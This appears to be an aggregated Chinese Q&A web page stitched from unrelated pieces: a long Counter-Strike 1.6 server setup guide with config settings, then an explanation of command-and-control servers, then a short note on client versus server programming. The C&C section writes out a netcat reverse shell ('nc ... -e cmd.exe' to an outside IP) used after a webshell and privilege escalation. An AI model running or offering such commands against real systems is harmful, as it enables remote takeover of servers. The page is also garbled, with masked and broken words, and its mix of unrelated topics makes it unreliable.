各位老铁们,大家好,今天由我来为大家分享c做服务器,以及什么是C的相关问题知识,希望对大家有所帮助。如果可以帮助到大家,还望关注收藏下本站,您的支持是我们最大的动力,谢谢大家了哈,下面我们开始吧!
一、如何在CS1.6里建立服务器
分类:游戏>>网络游戏
解析:
cs1.6服务器架设
一、基本安装篇
1、建立服务器的带宽和机器配置
1.6服务器对对带宽和机器配置的要求比1.5高一些,我在ADSL上通过浩方平台建立1.5服务器,可以在本机上进行游戏,但是1.6出现明显的停顿,无法流畅的游戏,即使机器配置很高也不能彻底解决,相信带宽是最大的瓶颈。
因此,使用ADSL或者机器配置一般的cser建议不要在本机上建立服务器,用lan的cser在本机上建立服务器效果也不会太理想(除非你只想提供一个服务器,过一把OP的瘾,呵呵)。
2、1.6服务器版本
我收集有6个版本的cs1.6,通过试用,个人认为esai2738经典版是最好的,只有200M,同时包括了建立服务器的必要组件,用来游戏与经典版建立的服务器能够很好的兼容。
:bt种子
3、完毕后,桌面的快捷方式‘Cs1.6服务器’,自己的服务器就开始工作了,就这么简单?!呵呵。不要只扔西红柿,再来几个鸡蛋,鸡蛋西红柿:)
这只是第一步。看看下边吧:
二、设置篇
1、右键打开桌面快捷方式的属*:
×:\Cs1.6中文版\hlds.exe-game cstrike-port 27016+maxplayers 16+map de_dust2-console+localinfo mm_gamedll dlls/hld*** p.dll
其中27016为服务器端口,可以进行修改;
maxplayers 16为最大人数,可以自由变更,别超过32;
开始地图de_dust2可以更换成你喜欢的地图;
+localinfo mm_gamedll dlls/hld*** p.dll指你的游戏用哪个dll启动(很多人反映没有新特*,就是由于你的dll没设置好)
其他的参数建议不要更改。
2、反作弊软件的选择
很多自己建立了服务器的cser会发现无法进入游戏,或者进入后很快被踢出,我在开始建立服务器的时候也遇到了类似问题。查考了大量资料后,我认为是反作弊软件的冲突造成的。一般情况下,我们认为cd比vac要强,会自然想打开服务器的cd反作弊插件,或者进入游戏前打开cd。此时,以上问题就出现了。
因此,我们需要将cs的cd插件关掉:
打开.......\cstrike\addons\me*od\plugins.ini,在“win32 addons/cdeath/cdmod.dll”前加上,
即“win32 addons/cdeath/cdmod.dll”。
进入服务器前也不要打开cd。
安装vac,打开cstrike\liblist.gam,将设置成secure"1",一般情况下,安装完毕默认是打开的,如果关闭可以将1改为0。
wwcl是杜绝修改脚本作弊的插件,打开cstrike\addons\me*od\plugins.ini,其中win32 addons/wwcl/dlls/pcawwclconfig_mm.dll即为打开,可以在前面加上将其关闭。
建议:打开v***和wwcl,可在一定程度上防止作弊。
3、服务器中amx插件的使用
可以说,amx插件对1.5而言是成熟的,在1.6上使用是不是有冲突还不敢肯定,因此建议不要安装过多的amx插件。
我的amx插件:
; AMX Mod plugins
admin.amx admin base(required for any admin-related)
;admin_mysql.amx admin base- MySQL version(ment admin.amx)
admincmd.amx basic admin console mands
adminhelp.amx help mand for admin console mands
adminslots.amx slot reservation
menufront.amx front-end for admin menus
cmdmenu.amx mand menu(speech, settings)
plmenu.amx players menu(kick, ban, client cmds.)
restmenu.amx restrict weapons menu
map*** enu.amx maps menu(vote, changelevel)
antiflood.amx prevent clients from chat-flooding the server
adminchat.amx console chat mands
adminvote.amx vote mands
nextmap.amx displays next map in mapcycle
timeleft.amx displays time left on map
mapchooser.amx allows to vote for next map
scrollmsg.amx displays a scrolling message
imessage.amx displays information messages
welemsg.amx console motd@ client connection
stats.amx stats on death or round end(CSStats Module required!)
stats_logging.amx weapons stats logging(CSStats Module required!)
telemenu.amx teleport menu(Fun Module required!)
miscstats.amx bunch of events announcement for Counter-Strike
pausecfg.amx allows to pause and unpause some plugins
statscfg.amx allows to manage stats plugins via menu and mands
;ucstats_cstrike.amx i love you
;ucstats_live.amx hehe heh
;gore.amx 44hehe
amx_restrictshields.amx
前面加;的为禁止的。最后一个为禁用盾牌插件。
PS:看着服务器中一堆拿着盾牌的家伙,感觉实在是不爽:)
amx以前的版本安装,amx
免盾牌amx程序amx插件,解压后拷贝到\cstrike\addons\amx目录下,覆盖源文件。
完成后,可以自己考虑使用那些插件:打开\cstrike\addons\amx\plugins\plugins.ini,进行修改。
4、服务器的一般设置
首先要设置你的服务器基本参数、OP密码等。
打开\cstrike\server.cfg
sv_password""设置玩家进入你的服务器是否需要密码,在""中加上你的密码。
rcon_password""设置远程控制OP密码。
hostname"BeiJing JiaoDaJiaYuan cs1.6 Server"设置你的服务器名称
sv_maxrate 10000
sv_minrate 1000
sv_maxspeed 320以上三个为服务器网络连接参数,不建议修改
pausable 0是否允许暂停游戏禁止0/允许1
sv_cheats 0作弊模式关闭0/开启1,谁会开呢,呵呵
sv_aim 0自动瞄准关闭0/开启1
mp_flashlight 1战术手电允许1/禁止0
mp_footsteps 1脚步声开启1/关闭0
mp_falldamage 1高处落下伤害开启1/关闭0
mp_autokick 1自动踢出不动的玩家开启1/关闭0
allow_spectators 1观察员模式开启1/关闭0
sv_restartround 0服务端设定游戏复位的时间,包括杀人数、武器、金钱和得分。设0不复位。建议设置为0,不要改。
mp_timelimit 450每局时间,以分钟计。
mp_freezetime 3购买武器冻结时间(0-45)建议5秒以内。
mp_roundtime 3每回合几分钟,一般为3
mp_buytime 0.25购买武器装备时间(0.25-1.5)即15秒-90秒
mp_c4timer 35 c4*倒计时时间(15-75)
mp_startmoney 800开始游戏时的金钱数量(800-16000)
mp_forcechasecam 2死亡后视角 1本队队友 2原地 0无限制
mp_chasecam 1死亡后视角模式 0自由跟随/1固定跟随
mp_fadetoblack 0人物死亡后屏幕不变黑0/变黑1
mp_friendlyfire 0友军误伤关闭0/开启1,如果是混战服务器,建议设置为0,无聊的人很多:)
mp_friendly_grenade_damage 1手雷友军伤害关闭0/开启1
mp_tkpunish 0*友军* 0不*/1*:*队友超过(1-n)人,下一回合自动死亡
mp_autoteambalance 1自动调整双方队伍平衡不调整0/调整(1-n)个人
mp_limitteams 2双方人数差超过n人即自动调整人数差异 0关闭
mp_hostagepenalty 0*** 0不*/*:规定时间内伤害*超过(1-n)人自动踢出
mp_fraglimit 0杀人数、得分上限无0/有(1-n),超过上限就换地图。
mp_winlimit 0胜利次数上限无0/有(1-n),超过上限就换地图。
mp_maxrounds 0回合上限无0/有(1-n),超过上限就换地图。
sv_allowdownload 1允许开启1/关闭0
sv_send_logos 1允许(sv_allowdownload 1)开启时控制是否允许玩家的LOGO传送允许1/禁止0
sv_send_resources 1允许(sv_allowdownload 1)开启时控制是否允许资源文件传送允许1/禁止0
sv_allowupload 1允许上传关闭0/开启1
sv_gr*ity 800服务器重力设置默认正常重力800,范围-999到99999,想享受一下玩家飘在空中的‘美景’,可以修改,^_^
mp_mapvoteratio 0.6投票比率(大家可以通过投票踢出作弊者和更换地图)(0.1-1)
mp_ghostfrequency 0.1设定鬼魂模式刷新值(0.1-1)
sv_sendvelocity 0服务器高品质纹理关闭0/开启1
mp_lowlag 1服务器减少LAG延迟现象(对服务器要求高)关闭0/开启1
mp_decals 300服务器细节数据发送默认300,可减低到250、200,改善速度。
sv_voiceenable 1服务器是否允许麦克风语音通讯允许1/禁止0
sv_alltalk 0服务器是否允许客户端之间使用语音通信允许1/禁止0
sv_region 4设置你的服务器为亚洲地区,玩家刷新的时候更方便找到你的服务器。
mp_logfile 0服务器是否记录文件不记录0/记录1
mp_logmessages 0是否在记录文件里记录谈话内容不记录0/记录1
load ban files
ex-ec listip.cfg
ex-ec banned.cfg
进入别人的服务器看到一些有意思的欢迎画面和欢迎词,自己也可以做。
打开\cstrike\motd.txt,里面可以只是文本文件,想写的都写上吧,注意不要太多就OK了。如果你想换成你的网址和logo,可以在其中修改。把你的logo文件放到\cstrike目录下,修改amx_imessage"Wele to%hostname% Please Enjoy Yourself:]""***********"
amx_imessage"Please H*e Fun in%hostname%
More Info Please Visit jdjy""***********"
amx_imessage"say**/***....will be kick""***********"
amx_imessage"Don't Camp Don't Teamkiller Don't Runaway""***********" clanmod风格的服务器MOTD彩色信息,后面的颜色RGB代码可以自己修改
7、服务器的管理 5.26增加内容
服务器管理强烈建议使用hlsw,如果你开通了amx功能,可以通过hlsw实现kick作弊者、slap玩家、banIP等。
8、再次增加紧急提示内容:5.26
如果你安装了amx就可能存在一个严重问题,就是服务器的最大玩家人数会发生变换,玩家进入的时候明明有空位,但是会显示被kick无法进入。
这是因为amx为OP预留了通道,但一般情况下我们根本用不到。
解决办法:打开×:\Cs1.6中文版\cstrike\addons\amx\amx.cfg
修改amx_reserved_slots 0预留的管理员通道(默认预留1个位置给OP),将1或2改为0就ok了。
9、你的机器够劲吗?想开两个服务器??6.05增加内容
安装后,在桌面有一个‘1.6服务器’的快捷方式,一般情况下默认使用27016端口。如果想在同一台机器上建立两个服务器,不用再装一套服务器软件。在桌面‘1.6服务器’图标上右键,选择‘发送到桌面快捷方式’。此时在桌面上出现了另外一个1.6服务器的快捷方式。用以上介绍的办法,将这个快捷方式的端口改为27017或者你想要的端口号。
ok了,此时你就可以开通两个不同端口号的服务器了。
但是,存在一个小问题,就是两个新建服务器使用同一套配置文件,服务器名、基本设置都是一样的,怎么区分呢?如果我想改变其中一个的op密码又怎么办呢?
10、不同端口服务器使用不同的配置文件(server.cfg)
在9中,我们建立了两个或者更多个服务器,怎么让他们使用不同的配置文件呢?
在桌面启动图标的属*中,加上一个指定server.cfg的参数:
+servercfgfile server2.cfg其中server2.cfg名称、内容你可以自己改。
server.cfg在\cstrike\目录下,你可以用复制的方法创建几个sever.cfg文件,内容请参考上面内容自己修改。
三、游戏端版本的选择
强烈建议esai2738版本,免去升级的麻烦。
如果你有以前的白金版或者其他版本(2569),可以通过升级来解决无法进入服务器的问题。升级时注意先2569-2688-2705-2738,至于为什么要顺序升级我也不清楚。先安装2688升级程序,再安装2717升级程序2717-2738升级程序,。2738最新升级程序5、4放出,,对于其中的覆盖的版本,注意备份你的原文件。
升级中注意安装路径:
安装升级包到 x:\Esai Cs1.6完全版
而不是x:\Esai Cs1.6完全版\Esai Cs1.6完全版或者 x:\Esai Cs1.6完全版\Cstrike\
当然如果你在安装时自定义了安装目录,那就要根据你的情况作调整。
这里一定要注意安装路径,安装在你的cs1.6第一层目录下,里面的文件有swds.dll,可以先看一下。安装成功了吗?进入游戏,不要看显示的版本号,而是在按~呼出控制台,输入version,应该显示2738。如果你的没有显示2705,说明安装存在问题,请重新安装升级包。
提示:上文中提到的.cfg.gam/.ini文件均可用记事本打开进行编辑。
5.26新增内容。
**新增内容。
如要转贴,请您跟贴说明,并保留我的服务器内容。
交大嘉园cs1.6服务器:
203.93.63.225:27016 1#服务器pub
203.93.63.225:27017 2#服务器
203.93.63.251:27016 1#比赛服务器
203.93.63.251:27017 2#比赛服务器
gaga
五:端口映射相关及图解
1.关于内网机器(如网吧局域网的机器)建立公网cs服务器之端口问题,前提是内网主机或本机有公网ip
对于此类局域网机子建立的cs服务器,局域网的玩家由“局域网游戏”进,外部网的玩家由“网上对战”进!开启的cs服务器启动参数:
-game cstrike-port 27016+maxplayers 22-nomaster-noi*-insecure+map de_dust2+sv_lan 1
【Ⅰ】【Ⅱ】端口映射图解说明
bbs.esai/index.php?act=Attach&ty...post&id=1480253
【Ⅰ】双网卡inter连接共享主机设置
要安装PortTunnel_CHS软件,(其他的我没用过,呵呵)在主机(比如网吧主机)
安装SP1以上补丁,简单的就安装ie6;接着安装Microsoft.NET Framework;
最后安装PortTunnel软件。
【Ⅱ】单网卡路由器主机设置
2.ADSL用户、小区宽带(首先要有公网ip)
开启的cs服务器启动参数:
-game cstrike+ip 218.28.19.22-port 27015+maxplayers 22-nomaster-noi*-insecure+map de_dust2+sv_lan 1
把里面的ip改为当时cs服务器在互联网上的ip
如需要绑定cs服务器ip则需申请一个动态解析域名并安装其客户端,具体在哪些网站申请域名大家知道的可以跟帖交流一下,呵呵
我很久没弄此类服务器了
二、什么是C***amp***C服务器
C&C服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器
通常在做渗透测试的时候,在拿到一个 webshell的时候,需要对服务器进行提权操作,如果是一台 windows的服务器,提权的时候通常是利用本地提权漏洞的 exp进行溢出提权,有些 exp可以在后面加参数,溢出成功之后执行参数中的命令。
而有的 exp溢出成功之后是返回一个 system权限的 cmd,这时就需要将低权限的 cmd shell反弹回本地,这里用 nc在本地执行:nc-vv-lp 3333
上述命令的意思是在本地监听一个 3333端口等待连接,假设电脑 IP是公网的,并且 IP为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333-e cmd.exe
上面的命令就可以把远程服务器的服务器权限的 cmd shell返回到本地,这时你就可以通过 nc建立的这个 shell进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C服务器。
扩展资料:
C&C服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病**控制被感染的机器。
通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。
这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。
三、...如果一直做客户端,跳槽去做服务器端,能立即上手吗
其实差异不大。
客户端一般包括UI和后台。后台主要是发送和接收UI传来和服务器端传来的控制信息。
服务器端一般只有后台和基本的命令行。主要就是接收客户端的控制信息和发送给客户端控制信息。比客户端后台多的就是处理客户端发来的信息。